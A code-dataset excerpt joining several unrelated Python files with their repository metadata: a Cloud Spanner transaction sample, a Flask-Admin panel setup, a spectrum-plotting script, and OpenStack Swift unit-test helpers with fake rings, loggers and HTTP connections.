as batch: batch.update( table='Albums', columns=( 'SingerId', 'AlbumId', 'MarketingBudget'), values=[ (1, 1, 100000), (2, 2, 500000)]) print('Updated data.') def read_write_transaction(instance_id, database_id): """Performs a read-write transaction to update two sample records in the database. This will transfer 200,000 from the `MarketingBudget` field for the second Album to the first Album. If the `MarketingBudget` is too low, it will raise an exception. Before running this sample, you will need to run the `update_data` sample to populate the fields. """ spanner_client = spanner.Client() instance = spanner_client.instance(instance_id) database = instance.database(database_id) def update_albums(transaction): # Read the second album budget. second_album_keyset = spanner.KeySet(keys=[(2, 2)]) second_album_result = transaction.read( table='Albums', columns=('MarketingBudget',), keyset=second_album_keyset, limit=1) second_album_row = list(second_album_result)[0] second_album_budget = second_album_row[0] transfer_amount = 200000 if second_album_budget < 300000: # Raising an exception will automatically roll back the # transaction. raise ValueError( 'The second album doesn\'t have enough funds to transfer') # Read the first album's budget. first_album_keyset = spanner.KeySet(keys=[(1, 1)]) first_album_result = transaction.read( table='Albums', columns=('MarketingBudget',), keyset=first_album_keyset, limit=1) first_album_row = list(first_album_result)[0] first_album_budget = first_album_row[0] # Update the budgets. second_album_budget -= transfer_amount first_album_budget += transfer_amount print( 'Setting first album\'s budget to {} and the second album\'s ' 'budget to {}.'.format( first_album_budget, second_album_budget)) # Update the rows. transaction.update( table='Albums', columns=( 'SingerId', 'AlbumId', 'MarketingBudget'), values=[ (1, 1, first_album_budget), (2, 2, second_album_budget)]) database.run_in_transaction(update_albums) print('Transaction complete.') def read_only_transaction(instance_id, database_id): """Reads data inside of a read-only transaction. Within the read-only transaction, or "snapshot", the application sees consistent view of the database at a particular timestamp. """ spanner_client = spanner.Client() instance = spanner_client.instance(instance_id) database = instance.database(database_id) with database.snapshot() as snapshot: # Read using SQL. results = snapshot.execute_sql( 'SELECT SingerId, AlbumId, AlbumTitle FROM Albums') print('Results from first read:') for row in results: print(u'SingerId: {}, AlbumId: {}, AlbumTitle: {}'.format(*row)) # Perform another read using the `read` method. Even if the data # is updated in-between the reads, the snapshot ensures that both # return the same data. keyset = spanner.KeySet(all_=True) results = snapshot.read( table='Albums', columns=('SingerId', 'AlbumId', 'AlbumTitle',), keyset=keyset,) print('Results from second read:') for row in results: print(u'SingerId: {}, AlbumId: {}, AlbumTitle: {}'.format(*row)) if __name__ == '__main__': parser = argparse.ArgumentParser( description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter) parser.add_argument( 'instance_id', help='Your Cloud Spanner instance ID.') parser.add_argument( '--database-id', help='Your Cloud Spanner database ID.', default='example_db') subparsers = parser.add_subparsers(dest='command') subparsers.add_parser('create_database', help=create_database.__doc__) subparsers.add_parser('insert_data', help=insert_data.__doc__) subparsers.add_parser('query_data', help=query_data.__doc__) subparsers.add_parser('read_data', help=read_data.__doc__) subparsers.add_parser('add_column', help=add_column.__doc__) subparsers.add_parser('update_data', help=update_data.__doc__) subparsers.add_parser( 'query_data_with_new_column', help=query_data_with_new_column.__doc__) subparsers.add_parser( 'read_write_transaction', help=read_write_transaction.__doc__) subparsers.add_parser( 'read_only_transaction', help=read_only_transaction.__doc__) subparsers.add_parser('add_index', help=add_index.__doc__) query_data_with_index_parser = subparsers.add_parser( 'query_data_with_index', help=query_data_with_index.__doc__) query_data_with_index_parser.add_argument( '--start_title', default='Aardvark') query_data_with_index_parser.add_argument( '--end_title', default='Goo') subparsers.add_parser('read_data_with_index', help=insert_data.__doc__) subparsers.add_parser('add_storing_index', help=add_storing_index.__doc__) subparsers.add_parser( 'read_data_with_storing_index', help=insert_data.__doc__) args = parser.parse_args() if args.command == 'create_database': create_database(args.instance_id, args.database_id) elif args.command == 'insert_data': insert_data(args.instance_id, args.database_id) elif args.command == 'query_data': query_data(args.instance_id, args.database_id) elif args.command == 'read_data': read_data(args.instance_id, args.database_id) elif args.command == 'add_column': add_column(args.instance_id, args.database_id) elif args.command == 'update_data': update_data(args.instance_id, args.database_id) elif args.command == 'query_data_with_new_column': query_data_with_new_column(args.instance_id, args.database_id) elif args.command == 'read_write_transaction': read_write_transaction(args.instance_id, args.database_id) elif args.command == 'read_only_transaction': read_only_transaction(args.instance_id, args.database_id) elif args.command == 'add_index': add_index(args.instance_id, args.database_id) elif args.command == 'query_data_with_index': query_data_with_index( args.instance_id, args.database_id, args.start_title, args.end_title) elif args.command == 'read_data_with_index': read_data_with_index(args.instance_id, args.database_id) elif args.command == 'add_storing_index': add_storing_index(args.instance_id, args.database_id) elif args.command == 'read_data_with_storing_index': read_data_with_storing_index(args.instance_id, args.database_id)

35.473461

79

0.672253

4a07e0e40f46587fd9d86ecaa7cfd6a18e85c85d

467

py

Python

modules/app/admin/admin.py

uwrit/kpmp-user-portal

d20ce6290a0ad64f63a6f043bf6ff061b4968953

[ "BSD-3-Clause" ]

1

2019-05-01T00:43:59.000Z

modules/app/admin/admin.py

uwrit/kpmp-user-portal

d20ce6290a0ad64f63a6f043bf6ff061b4968953

[ "BSD-3-Clause" ]

7

2019-03-17T02:19:21.000Z

2019-03-29T15:11:53.000Z

modules/app/admin/admin.py

uwrit/kpmp_user_portal

d20ce6290a0ad64f63a6f043bf6ff061b4968953

[ "BSD-3-Clause" ]

null

from flask_admin import Admin from modules.app import mongo, app from .user import UserView from .client import ClientView from .org import OrganizationView from .group import GroupView admin = Admin(app, name='KPMP User Portal Admin Panel') admin.add_view(UserView(mongo.db.users, 'Users')) admin.add_view(OrganizationView(mongo.db.orgs, 'Organizations')) admin.add_view(GroupView(mongo.db.groups, 'Groups')) admin.add_view(ClientView(mongo.db.clients, 'Clients'))

35.923077

64

0.796574

4a07e0f35ede05e1e3742646f24f0e40ebee555f

2,041

py

Python

Analysis/Plot_Spect.py

ry-dgel/self-phase

d55167d4ed5430cde52fa54b738d5b209a44582c

[ "MIT" ]

null

Analysis/Plot_Spect.py

ry-dgel/self-phase

d55167d4ed5430cde52fa54b738d5b209a44582c

[ "MIT" ]

null

Analysis/Plot_Spect.py

ry-dgel/self-phase

d55167d4ed5430cde52fa54b738d5b209a44582c

[ "MIT" ]

null

import sys from itertools import groupby import yaml import matplotlib from matplotlib import pyplot as plt import numpy as np font = {'family' : 'normal', 'size' : 22} matplotlib.rc('font', **font) cf = 6.626e-34 * 6.242e18 def norm_spectrum(data_set): re, im = data_set.T Ef = np.fft.fftshift(np.fft.fft(np.fft.fftshift(re+im*1j))) re = np.real(Ef) im = np.imag(Ef) norm = np.sqrt(np.power(re,2) + np.power(im,2)) return norm/max(norm) folder = sys.argv[1] data_list = [] # Initialize array of datasets. Each element is a time step. with open(folder + "/E") as f: # Split datafile into sections separated by empty lines for k, g in groupby(f, lambda x: x == "\n"): if not k: # Split line of data after comma, striping whitespace. data_list.append(np.array([[float(x) for x in d.split(',')] for d in g if len(d.strip())])) with open(folder + "/params") as f: p = yaml.load(f) for key, val in p.items(): p[key] = float(val) # y axis dt = p["tmax"]/(p["Nt"]-1) # Time step points = np.arange(-p["Nt"]/2,p["Nt"]/2+1,1) t = points*dt # Time grid iterator f = points/p["tmax"] # Frequency grid 0 centered f = f + 299792458/p["lambda"] g = f[np.where(f > 0)] ev = g * cf wl = 1239.84193/ev X, Y = np.meshgrid(np.linspace(0,2.5, len(data_list)), wl[wl < 1200]) # frequency axis # Initialize figure data_list = [norm_spectrum(data_set) for data_set in data_list] data_list = [spectrum[np.where(f>0)] for spectrum in data_list] data_list = [spectrum[np.where(wl<1200)] for spectrum in data_list] data_list = [spectrum * np.power(ev[np.where(wl<1200)],2)/1239.84193 for spectrum in data_list] spectra = np.array([[spectrum] for spectrum in data_list])[:,0,:] fig, ax = plt.subplots(1) plt.pcolormesh(X, Y, spectra.T, figure=fig, cmap="plasma") ax.set_ylim(564,1130) #ax.set_ylim(500,1100) ax.set_xlabel("Propagation Length (m)") ax.set_ylabel("Wavelength (nm)") plt.show()

31.890625

95

0.631063

4a07e176d7a518415f0fdc673f4a603df30b77c5

33,048

py

Python

test/unit/__init__.py

hbhdytf/mac

51252356b22a792599a401f40ede0b9fda9fccdc

[ "Apache-2.0" ]

null

test/unit/__init__.py

hbhdytf/mac

51252356b22a792599a401f40ede0b9fda9fccdc

[ "Apache-2.0" ]

null

test/unit/__init__.py

hbhdytf/mac

51252356b22a792599a401f40ede0b9fda9fccdc

[ "Apache-2.0" ]

null

# Copyright (c) 2010-2012 OpenStack Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or # implied. # See the License for the specific language governing permissions and # limitations under the License. """ Swift tests """ from __future__ import print_function import os import copy import logging import errno from six.moves import range import sys from contextlib import contextmanager, closing from collections import defaultdict, Iterable import itertools from numbers import Number from tempfile import NamedTemporaryFile import time import eventlet from eventlet.green import socket from tempfile import mkdtemp from shutil import rmtree from swift.common.utils import Timestamp, NOTICE from test import get_config from swift.common import swob, utils from swift.common.ring import Ring, RingData from hashlib import md5 import logging.handlers from six.moves.http_client import HTTPException from swift.common import storage_policy from swift.common.storage_policy import StoragePolicy, ECStoragePolicy import functools import six.moves.cPickle as pickle from gzip import GzipFile import mock as mocklib import inspect EMPTY_ETAG = md5().hexdigest() # try not to import this module from swift if not os.path.basename(sys.argv[0]).startswith('swift'): # never patch HASH_PATH_SUFFIX AGAIN! utils.HASH_PATH_SUFFIX = 'endcap' def patch_policies(thing_or_policies=None, legacy_only=False, with_ec_default=False, fake_ring_args=None): if isinstance(thing_or_policies, ( Iterable, storage_policy.StoragePolicyCollection)): return PatchPolicies(thing_or_policies, fake_ring_args=fake_ring_args) if legacy_only: default_policies = [ StoragePolicy(0, name='legacy', is_default=True), ] default_ring_args = [{}] elif with_ec_default: default_policies = [ ECStoragePolicy(0, name='ec', is_default=True, ec_type='jerasure_rs_vand', ec_ndata=10, ec_nparity=4, ec_segment_size=4096), StoragePolicy(1, name='unu'), ] default_ring_args = [{'replicas': 14}, {}] else: default_policies = [ StoragePolicy(0, name='nulo', is_default=True), StoragePolicy(1, name='unu'), ] default_ring_args = [{}, {}] fake_ring_args = fake_ring_args or default_ring_args decorator = PatchPolicies(default_policies, fake_ring_args=fake_ring_args) if not thing_or_policies: return decorator else: # it's a thing, we return the wrapped thing instead of the decorator return decorator(thing_or_policies) class PatchPolicies(object): """ Why not mock.patch? In my case, when used as a decorator on the class it seemed to patch setUp at the wrong time (i.e. in setup the global wasn't patched yet) """ def __init__(self, policies, fake_ring_args=None): if isinstance(policies, storage_policy.StoragePolicyCollection): self.policies = policies else: self.policies = storage_policy.StoragePolicyCollection(policies) self.fake_ring_args = fake_ring_args or [None] * len(self.policies) def _setup_rings(self): """ Our tests tend to use the policies rings like their own personal playground - which can be a problem in the particular case of a patched TestCase class where the FakeRing objects are scoped in the call to the patch_policies wrapper outside of the TestCase instance which can lead to some bled state. To help tests get better isolation without having to think about it, here we're capturing the args required to *build* a new FakeRing instances so we can ensure each test method gets a clean ring setup. The TestCase can always "tweak" these fresh rings in setUp - or if they'd prefer to get the same "reset" behavior with custom FakeRing's they can pass in their own fake_ring_args to patch_policies instead of setting the object_ring on the policy definitions. """ for policy, fake_ring_arg in zip(self.policies, self.fake_ring_args): if fake_ring_arg is not None: policy.object_ring = FakeRing(**fake_ring_arg) def __call__(self, thing): if isinstance(thing, type): return self._patch_class(thing) else: return self._patch_method(thing) def _patch_class(self, cls): """ Creating a new class that inherits from decorated class is the more common way I've seen class decorators done - but it seems to cause infinite recursion when super is called from inside methods in the decorated class. """ orig_setUp = cls.setUp orig_tearDown = cls.tearDown def setUp(cls_self): self._orig_POLICIES = storage_policy._POLICIES if not getattr(cls_self, '_policies_patched', False): storage_policy._POLICIES = self.policies self._setup_rings() cls_self._policies_patched = True orig_setUp(cls_self) def tearDown(cls_self): orig_tearDown(cls_self) storage_policy._POLICIES = self._orig_POLICIES cls.setUp = setUp cls.tearDown = tearDown return cls def _patch_method(self, f): @functools.wraps(f) def mywrapper(*args, **kwargs): self._orig_POLICIES = storage_policy._POLICIES try: storage_policy._POLICIES = self.policies self._setup_rings() return f(*args, **kwargs) finally: storage_policy._POLICIES = self._orig_POLICIES return mywrapper def __enter__(self): self._orig_POLICIES = storage_policy._POLICIES storage_policy._POLICIES = self.policies def __exit__(self, *args): storage_policy._POLICIES = self._orig_POLICIES class FakeRing(Ring): def __init__(self, replicas=3, max_more_nodes=0, part_power=0, base_port=1000): """ :param part_power: make part calculation based on the path If you set a part_power when you setup your FakeRing the parts you get out of ring methods will actually be based on the path - otherwise we exercise the real ring code, but ignore the result and return 1. """ self._base_port = base_port self.max_more_nodes = max_more_nodes self._part_shift = 32 - part_power # 9 total nodes (6 more past the initial 3) is the cap, no matter if # this is set higher, or R^2 for R replicas self.set_replicas(replicas) self._reload() def _reload(self): self._rtime = time.time() def set_replicas(self, replicas): self.replicas = replicas self._devs = [] for x in range(self.replicas): ip = '10.0.0.%s' % x port = self._base_port + x self._devs.append({ 'ip': ip, 'replication_ip': ip, 'port': port, 'replication_port': port, 'device': 'sd' + (chr(ord('a') + x)), 'zone': x % 3, 'region': x % 2, 'id': x, }) @property def replica_count(self): return self.replicas def _get_part_nodes(self, part): return [dict(node, index=i) for i, node in enumerate(list(self._devs))] def get_more_nodes(self, part): for x in range(self.replicas, (self.replicas + self.max_more_nodes)): yield {'ip': '10.0.0.%s' % x, 'replication_ip': '10.0.0.%s' % x, 'port': self._base_port + x, 'replication_port': self._base_port + x, 'device': 'sda', 'zone': x % 3, 'region': x % 2, 'id': x} def write_fake_ring(path, *devs): """ Pretty much just a two node, two replica, 2 part power ring... """ dev1 = {'id': 0, 'zone': 0, 'device': 'sda1', 'ip': '127.0.0.1', 'port': 6000} dev2 = {'id': 0, 'zone': 0, 'device': 'sdb1', 'ip': '127.0.0.1', 'port': 6000} dev1_updates, dev2_updates = devs or ({}, {}) dev1.update(dev1_updates) dev2.update(dev2_updates) replica2part2dev_id = [[0, 1, 0, 1], [1, 0, 1, 0]] devs = [dev1, dev2] part_shift = 30 with closing(GzipFile(path, 'wb')) as f: pickle.dump(RingData(replica2part2dev_id, devs, part_shift), f) class FabricatedRing(Ring): """ When a FakeRing just won't do - you can fabricate one to meet your tests needs. """ def __init__(self, replicas=6, devices=8, nodes=4, port=6000, part_power=4): self.devices = devices self.nodes = nodes self.port = port self.replicas = 6 self.part_power = part_power self._part_shift = 32 - self.part_power self._reload() def _reload(self, *args, **kwargs): self._rtime = time.time() * 2 if hasattr(self, '_replica2part2dev_id'): return self._devs = [{ 'region': 1, 'zone': 1, 'weight': 1.0, 'id': i, 'device': 'sda%d' % i, 'ip': '10.0.0.%d' % (i % self.nodes), 'replication_ip': '10.0.0.%d' % (i % self.nodes), 'port': self.port, 'replication_port': self.port, } for i in range(self.devices)] self._replica2part2dev_id = [ [None] * 2 ** self.part_power for i in range(self.replicas) ] dev_ids = itertools.cycle(range(self.devices)) for p in range(2 ** self.part_power): for r in range(self.replicas): self._replica2part2dev_id[r][p] = next(dev_ids) class FakeMemcache(object): def __init__(self): self.store = {} def get(self, key): return self.store.get(key) def keys(self): return self.store.keys() def set(self, key, value, time=0): self.store[key] = value return True def incr(self, key, time=0): self.store[key] = self.store.setdefault(key, 0) + 1 return self.store[key] @contextmanager def soft_lock(self, key, timeout=0, retries=5): yield True def delete(self, key): try: del self.store[key] except Exception: pass return True def readuntil2crlfs(fd): rv = '' lc = '' crlfs = 0 while crlfs < 2: c = fd.read(1) if not c: raise ValueError("didn't get two CRLFs; just got %r" % rv) rv = rv + c if c == '\r' and lc != '\n': crlfs = 0 if lc == '\r' and c == '\n': crlfs += 1 lc = c return rv def connect_tcp(hostport): rv = socket.socket() rv.connect(hostport) return rv @contextmanager def tmpfile(content): with NamedTemporaryFile('w', delete=False) as f: file_name = f.name f.write(str(content)) try: yield file_name finally: os.unlink(file_name) xattr_data = {} def _get_inode(fd): if not isinstance(fd, int): try: fd = fd.fileno() except AttributeError: return os.stat(fd).st_ino return os.fstat(fd).st_ino def _setxattr(fd, k, v): inode = _get_inode(fd) data = xattr_data.get(inode, {}) data[k] = v xattr_data[inode] = data def _getxattr(fd, k): inode = _get_inode(fd) data = xattr_data.get(inode, {}).get(k) if not data: raise IOError(errno.ENODATA, "Fake IOError") return data import xattr xattr.setxattr = _setxattr xattr.getxattr = _getxattr @contextmanager def temptree(files, contents=''): # generate enough contents to fill the files c = len(files) contents = (list(contents) + [''] * c)[:c] tempdir = mkdtemp() for path, content in zip(files, contents): if os.path.isabs(path): path = '.' + path new_path = os.path.join(tempdir, path) subdir = os.path.dirname(new_path) if not os.path.exists(subdir): os.makedirs(subdir) with open(new_path, 'w') as f: f.write(str(content)) try: yield tempdir finally: rmtree(tempdir) def with_tempdir(f): """ Decorator to give a single test a tempdir as argument to test method. """ @functools.wraps(f) def wrapped(*args, **kwargs): tempdir = mkdtemp() args = list(args) args.append(tempdir) try: return f(*args, **kwargs) finally: rmtree(tempdir) return wrapped class NullLoggingHandler(logging.Handler): def emit(self, record): pass class UnmockTimeModule(object): """ Even if a test mocks time.time - you can restore unmolested behavior in a another module who imports time directly by monkey patching it's imported reference to the module with an instance of this class """ _orig_time = time.time def __getattribute__(self, name): if name == 'time': return UnmockTimeModule._orig_time return getattr(time, name) # logging.LogRecord.__init__ calls time.time logging.time = UnmockTimeModule() class FakeLogger(logging.Logger, object): # a thread safe fake logger def __init__(self, *args, **kwargs): self._clear() self.name = 'swift.unit.fake_logger' self.level = logging.NOTSET if 'facility' in kwargs: self.facility = kwargs['facility'] self.statsd_client = None self.thread_locals = None self.parent = None store_in = { logging.ERROR: 'error', logging.WARNING: 'warning', logging.INFO: 'info', logging.DEBUG: 'debug', logging.CRITICAL: 'critical', NOTICE: 'notice', } def notice(self, msg, *args, **kwargs): """ Convenience function for syslog priority LOG_NOTICE. The python logging lvl is set to 25, just above info. SysLogHandler is monkey patched to map this log lvl to the LOG_NOTICE syslog priority. """ self.log(NOTICE, msg, *args, **kwargs) def _log(self, level, msg, *args, **kwargs): store_name = self.store_in[level] cargs = [msg] if any(args): cargs.extend(args) captured = dict(kwargs) if 'exc_info' in kwargs and \ not isinstance(kwargs['exc_info'], tuple): captured['exc_info'] = sys.exc_info() self.log_dict[store_name].append((tuple(cargs), captured)) super(FakeLogger, self)._log(level, msg, *args, **kwargs) def _clear(self): self.log_dict = defaultdict(list) self.lines_dict = {'critical': [], 'error': [], 'info': [], 'warning': [], 'debug': [], 'notice': []} clear = _clear # this is a public interface def get_lines_for_level(self, level): if level not in self.lines_dict: raise KeyError( "Invalid log level '%s'; valid levels are %s" % (level, ', '.join("'%s'" % lvl for lvl in sorted(self.lines_dict)))) return self.lines_dict[level] def all_log_lines(self): return dict((level, msgs) for level, msgs in self.lines_dict.items() if len(msgs) > 0) def _store_in(store_name): def stub_fn(self, *args, **kwargs): self.log_dict[store_name].append((args, kwargs)) return stub_fn # mock out the StatsD logging methods: update_stats = _store_in('update_stats') increment = _store_in('increment') decrement = _store_in('decrement') timing = _store_in('timing') timing_since = _store_in('timing_since') transfer_rate = _store_in('transfer_rate') set_statsd_prefix = _store_in('set_statsd_prefix') def get_increments(self): return [call[0][0] for call in self.log_dict['increment']] def get_increment_counts(self): counts = {} for metric in self.get_increments(): if metric not in counts: counts[metric] = 0 counts[metric] += 1 return counts def setFormatter(self, obj): self.formatter = obj def close(self): self._clear() def set_name(self, name): # don't touch _handlers self._name = name def acquire(self): pass def release(self): pass def createLock(self): pass def emit(self, record): pass def _handle(self, record): try: line = record.getMessage() except TypeError: print('WARNING: unable to format log message %r %% %r' % ( record.msg, record.args)) raise self.lines_dict[record.levelname.lower()].append(line) def handle(self, record): self._handle(record) def flush(self): pass def handleError(self, record): pass class DebugLogger(FakeLogger): """A simple stdout logging version of FakeLogger""" def __init__(self, *args, **kwargs): FakeLogger.__init__(self, *args, **kwargs) self.formatter = logging.Formatter( "%(server)s %(levelname)s: %(message)s") def handle(self, record): self._handle(record) print(self.formatter.format(record)) class DebugLogAdapter(utils.LogAdapter): def _send_to_logger(name): def stub_fn(self, *args, **kwargs): return getattr(self.logger, name)(*args, **kwargs) return stub_fn # delegate to FakeLogger's mocks update_stats = _send_to_logger('update_stats') increment = _send_to_logger('increment') decrement = _send_to_logger('decrement') timing = _send_to_logger('timing') timing_since = _send_to_logger('timing_since') transfer_rate = _send_to_logger('transfer_rate') set_statsd_prefix = _send_to_logger('set_statsd_prefix') def __getattribute__(self, name): try: return object.__getattribute__(self, name) except AttributeError: return getattr(self.__dict__['logger'], name) def debug_logger(name='test'): """get a named adapted debug logger""" return DebugLogAdapter(DebugLogger(), name) original_syslog_handler = logging.handlers.SysLogHandler def fake_syslog_handler(): for attr in dir(original_syslog_handler): if attr.startswith('LOG'): setattr(FakeLogger, attr, copy.copy(getattr(logging.handlers.SysLogHandler, attr))) FakeLogger.priority_map = \ copy.deepcopy(logging.handlers.SysLogHandler.priority_map) logging.handlers.SysLogHandler = FakeLogger if utils.config_true_value( get_config('unit_test').get('fake_syslog', 'False')): fake_syslog_handler() class MockTrue(object): """ Instances of MockTrue evaluate like True Any attr accessed on an instance of MockTrue will return a MockTrue instance. Any method called on an instance of MockTrue will return a MockTrue instance. >>> thing = MockTrue() >>> thing True >>> thing == True # True == True True >>> thing == False # True == False False >>> thing != True # True != True False >>> thing != False # True != False True >>> thing.attribute True >>> thing.method() True >>> thing.attribute.method() True >>> thing.method().attribute True """ def __getattribute__(self, *args, **kwargs): return self def __call__(self, *args, **kwargs): return self def __repr__(*args, **kwargs): return repr(True) def __eq__(self, other): return other is True def __ne__(self, other): return other is not True @contextmanager def mock(update): returns = [] deletes = [] for key, value in update.items(): imports = key.split('.') attr = imports.pop(-1) module = __import__(imports[0], fromlist=imports[1:]) for modname in imports[1:]: module = getattr(module, modname) if hasattr(module, attr): returns.append((module, attr, getattr(module, attr))) else: deletes.append((module, attr)) setattr(module, attr, value) try: yield True finally: for module, attr, value in returns: setattr(module, attr, value) for module, attr in deletes: delattr(module, attr) class FakeStatus(object): """ This will work with our fake_http_connect, if you hand in one of these instead of a status int or status int tuple to the "codes" iter you can add some eventlet sleep to the expect and response stages of the connection. """ def __init__(self, status, expect_sleep=None, response_sleep=None): """ :param status: the response status int, or a tuple of ([expect_status, ...], response_status) :param expect_sleep: float, time to eventlet sleep during expect, can be a iter of floats :param response_sleep: float, time to eventlet sleep during response """ # connect exception if isinstance(status, (Exception, eventlet.Timeout)): raise status if isinstance(status, tuple): self.expect_status = list(status[:-1]) self.status = status[-1] self.explicit_expect_list = True else: self.expect_status, self.status = ([], status) self.explicit_expect_list = False if not self.expect_status: # when a swift backend service returns a status before reading # from the body (mostly an error response) eventlet.wsgi will # respond with that status line immediately instead of 100 # Continue, even if the client sent the Expect 100 header. # BufferedHttp and the proxy both see these error statuses # when they call getexpect, so our FakeConn tries to act like # our backend services and return certain types of responses # as expect statuses just like a real backend server would do. if self.status in (507, 412, 409): self.expect_status = [status] else: self.expect_status = [100, 100] # setup sleep attributes if not isinstance(expect_sleep, (list, tuple)): expect_sleep = [expect_sleep] * len(self.expect_status) self.expect_sleep_list = list(expect_sleep) while len(self.expect_sleep_list) < len(self.expect_status): self.expect_sleep_list.append(None) self.response_sleep = response_sleep def get_response_status(self): if self.response_sleep is not None: eventlet.sleep(self.response_sleep) if self.expect_status and self.explicit_expect_list: raise Exception('Test did not consume all fake ' 'expect status: %r' % (self.expect_status,)) if isinstance(self.status, (Exception, eventlet.Timeout)): raise self.status return self.status def get_expect_status(self): expect_sleep = self.expect_sleep_list.pop(0) if expect_sleep is not None: eventlet.sleep(expect_sleep) expect_status = self.expect_status.pop(0) if isinstance(expect_status, (Exception, eventlet.Timeout)): raise expect_status return expect_status class SlowBody(object): """ This will work with our fake_http_connect, if you hand in these instead of strings it will make reads take longer by the given amount. It should be a little bit easier to extend than the current slow kwarg - which inserts whitespace in the response. Also it should be easy to detect if you have one of these (or a subclass) for the body inside of FakeConn if we wanted to do something smarter than just duck-type the str/buffer api enough to get by. """ def __init__(self, body, slowness): self.body = body self.slowness = slowness def slowdown(self): eventlet.sleep(self.slowness) def __getitem__(self, s): return SlowBody(self.body[s], self.slowness) def __len__(self): return len(self.body) def __radd__(self, other): self.slowdown() return other + self.body def fake_http_connect(*code_iter, **kwargs): class FakeConn(object): def __init__(self, status, etag=None, body='', timestamp='1', headers=None, expect_headers=None, connection_id=None, give_send=None): if not isinstance(status, FakeStatus): status = FakeStatus(status) self._status = status self.reason = 'Fake' self.host = '1.2.3.4' self.port = '1234' self.sent = 0 self.received = 0 self.etag = etag self.body = body self.headers = headers or {} self.expect_headers = expect_headers or {} self.timestamp = timestamp self.connection_id = connection_id self.give_send = give_send if 'slow' in kwargs and isinstance(kwargs['slow'], list): try: self._next_sleep = kwargs['slow'].pop(0) except IndexError: self._next_sleep = None # be nice to trixy bits with node_iter's eventlet.sleep() def getresponse(self): exc = kwargs.get('raise_exc') if exc: if isinstance(exc, (Exception, eventlet.Timeout)): raise exc raise Exception('test') if kwargs.get('raise_timeout_exc'): raise eventlet.Timeout() self.status = self._status.get_response_status() return self def getexpect(self): expect_status = self._status.get_expect_status() headers = dict(self.expect_headers) if expect_status == 409: headers['X-Backend-Timestamp'] = self.timestamp response = FakeConn(expect_status, timestamp=self.timestamp, headers=headers) response.status = expect_status return response def getheaders(self): etag = self.etag if not etag: if isinstance(self.body, str): etag = '"' + md5(self.body).hexdigest() + '"' else: etag = '"68b329da9893e34099c7d8ad5cb9c940"' headers = swob.HeaderKeyDict({ 'content-length': len(self.body), 'content-type': 'x-application/test', 'x-timestamp': self.timestamp, 'x-backend-timestamp': self.timestamp, 'last-modified': self.timestamp, 'x-object-meta-test': 'testing', 'x-delete-at': '9876543210', 'etag': etag, 'x-works': 'yes', }) if self.status // 100 == 2: headers['x-account-container-count'] = \ kwargs.get('count', 12345) if not self.timestamp: # when timestamp is None, HeaderKeyDict raises KeyError headers.pop('x-timestamp', None) try: if next(container_ts_iter) is False: headers['x-container-timestamp'] = '1' except StopIteration: pass am_slow, value = self.get_slow() if am_slow: headers['content-length'] = '4' headers.update(self.headers) return headers.items() def get_slow(self): if 'slow' in kwargs and isinstance(kwargs['slow'], list): if self._next_sleep is not None: return True, self._next_sleep else: return False, 0.01 if kwargs.get('slow') and isinstance(kwargs['slow'], Number): return True, kwargs['slow'] return bool(kwargs.get('slow')), 0.1 def read(self, amt=None): am_slow, value = self.get_slow() if am_slow: if self.sent < 4: self.sent += 1 eventlet.sleep(value) return ' ' rv = self.body[:amt] self.body = self.body[amt:] return rv def send(self, amt=None): if self.give_send: self.give_send(self.connection_id, amt) am_slow, value = self.get_slow() if am_slow: if self.received < 4: self.received += 1 eventlet.sleep(value) def getheader(self, name, default=None): return swob.HeaderKeyDict(self.getheaders()).get(name, default) def close(self): pass timestamps_iter = iter(kwargs.get('timestamps') or ['1'] * len(code_iter)) etag_iter = iter(kwargs.get('etags') or [None] * len(code_iter)) if isinstance(kwargs.get('headers'), (list, tuple)): headers_iter = iter(kwargs['headers']) else: headers_iter = iter([kwargs.get('headers', {})] * len(code_iter)) if isinstance(kwargs.get('expect_headers'), (list, tuple)): expect_headers_iter = iter(kwargs['expect_headers']) else: expect_headers_iter = iter([kwargs.get('expect_headers', {})] * len(code_iter)) x = kwargs.get('missing_container', [False] * len(code_iter)) if not isinstance(x, (tuple, list)): x = [x] * len(code_iter) container_ts_iter = iter(x) code_iter = iter(code_iter) conn_id_and_code_iter = enumerate(code_iter) static_body = kwargs.get('body', None) body_iter = kwargs.get('body_iter', None) if body_iter: body_iter = iter(body_iter) def connect(*args, **ckwargs): if kwargs.get('slow_connect', False): eventlet.sleep(0.1) if 'give_content_type' in kwargs: if len(args) >= 7 and 'Content-Type' in args[6]: kwargs['give_content_type'](args[6]['Content-Type']) else: kwargs['give_content_type']('') i, status = next(conn_id_and_code_iter) if 'give_connect' in kwargs: give_conn_fn = kwargs['give_connect'] argspec = inspect.getargspec(give_conn_fn) if argspec.keywords or 'connection_id' in argspec.args: ckwargs['connection_id'] = i give_conn_fn(*args, **ckwargs) etag = next(etag_iter) headers = next(headers_iter) expect_headers = next(expect_headers_iter) timestamp = next(timestamps_iter) if status <= 0: raise HTTPException() if body_iter is None: body = static_body or '' else: body = next(body_iter) return FakeConn(status, etag, body=body, timestamp=timestamp, headers=headers, expect_headers=expect_headers, connection_id=i, give_send=kwargs.get('give_send')) connect.code_iter = code_iter return connect @contextmanager def mocked_http_conn(*args, **kwargs): requests = [] def capture_requests(ip, port, method, path, headers, qs, ssl): req = { 'ip': ip, 'port': port, 'method': method, 'path': path, 'headers': headers, 'qs': qs, 'ssl': ssl, } requests.append(req) kwargs.setdefault('give_connect', capture_requests) fake_conn = fake_http_connect(*args, **kwargs) fake_conn.requests = requests with mocklib.patch('swift.common.bufferedhttp.http_connect_raw', new=fake_conn): yield fake_conn left_over_status = list(fake_conn.code_iter) if left_over_status: raise AssertionError('left over status %r' % left_over_status) def make_timestamp_iter(): return iter(Timestamp(t) for t in itertools.count(int(time.time())))

32.14786

79

0.593682

4a07e214da6559f1f21091fb34de43b34c2eb016

1,201

py

Python

tests/models/test_model.py

yecharlie/convnet3d

0b2771eec149b196ef59b58d09eef71c9b201d40

[ "MIT" ]

6

2020-03-12T10:28:41.000Z

2021-11-18T16:17:20.000Z

tests/models/test_model.py

yecharlie/convnet3d

0b2771eec149b196ef59b58d09eef71c9b201d40

[ "MIT" ]

null

tests/models/test_model.py

yecharlie/convnet3d

0b2771eec149b196ef59b58d09eef71c9b201d40

[ "MIT" ]

1

2019-08-01T02:50:05.000Z

